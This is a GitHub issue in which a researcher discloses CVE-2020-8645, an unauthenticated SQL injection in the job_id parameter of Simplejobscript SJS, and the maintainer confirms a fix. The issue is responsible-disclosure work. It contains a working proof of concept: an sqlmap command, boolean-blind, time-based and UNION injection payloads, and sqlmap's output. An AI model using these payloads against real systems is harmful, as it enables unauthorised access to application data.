New issue

Jump to bottom

[security] CVE-2020-8645, SQL injection in job applications search function #9

Closed **gwen001** opened this issue on Jan 19, 2020 · 3 comments

gwen001 commented on Jan 19, 2020 • edited

Description: An issue was discovered in Simplejobscript.com SJS through 1.66. There is an unauthenticated SQL injection via the job applications search function. The vulnerable parameter is `job_id` . The function is `getJobApplicationsByJobId()` . The file is `_lib/class.JobApplication.php` .

Environment:

Version: 1.64
OS: Ubuntu 16.10
Web server: Apache 2.4.18
PHP: 5.6.40
Database: MySQL 5.7.28
URL: `/get_job_applications_ajax.php`
Payload: `job_id=493+AND+(SELECT+9069+FROM+(SELECT(SLEEP(5)))Ufmy)`

Steps to Reproduce:

```
$ sqlmap --batch --threads=10 --dbms=mysql -u "http://local.simplejobscript.net/get_job_applications_ajax.php" --data="job_id=493" --banner
```

PoC:

```
$ sqlmap --batch --threads=10 --dbms=mysql -u "http://local.simplejobscript.net/get_job_applications_ajax.php" --data="job_id=493" --banner
        ___H__
 ___ ___[.]_____ ___ ___  {1.3.10.17#dev}
|_ -| . [.]     | .'| . |
|___|_  [*]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all appl
icable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:54:16 /2020-01-19/

[13:54:16] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=keiudpj44e0...71bbfbfp76'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: job_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: job_id=493 AND 4238=4238

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: job_id=493 AND (SELECT 9069 FROM (SELECT(SLEEP(5)))Ufmy)

    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: job_id=493 UNION ALL SELECT NULL,CONCAT(0x717a627871,0x586745565655705074 4f6c797269424777494954 78514b4654566d665579654352594c44524a5776,0x71
70717671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- dJtf
---
[13:54:17] [INFO] testing MySQL
[13:54:17] [INFO] confirming MySQL
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you wan
t to merge them in further requests? [Y/n] Y
[13:54:17] [INFO] the back-end DBMS is MySQL
[13:54:17] [INFO] fetching banner
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: PHP, Apache 2.4.18
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.0
banner: '5.7.28-0ubuntu0.16.04.2'
[13:54:17] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[13:54:17] [INFO] fetched data logged to text files under '/home/gwen/.sqlmap/output/local.simplejobscript.net'
[13:54:17] [WARNING] you haven't updated sqlmap for more than 94 days!!!

[*] ending @ 13:54:17 /2020-01-19/
```

gwen001 commented on Jan 28, 2020 Author

For that one, I recommend to cast `int()` the vulnerable parameter.

Also would be great to check that the `job_id` provided belong to the connected user. For now every user, even not authenticated, can retrieve all applications by looping through that number, which is basically what we call an IDOR.

Best regards.

niteosoft commented on Feb 4, 2020 Owner

Thank you for submitting the issue. We have typecasted the job_id as an integer as you suggested.

niteosoft closed this as completed on Feb 4, 2020

gwen001 commented on Feb 4, 2020 Author

Great job!

gwen001 changed the title ~~[security] SQL injection in job applications search function~~ [security] CVE-2020-8645, SQL injection in job applications search function on Feb 5, 2020

edoardottt mentioned this issue on Sep 30

Add CVE-2020-8645 projectdiscovery/nuclei-templates#5522

Open

2 tasks

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants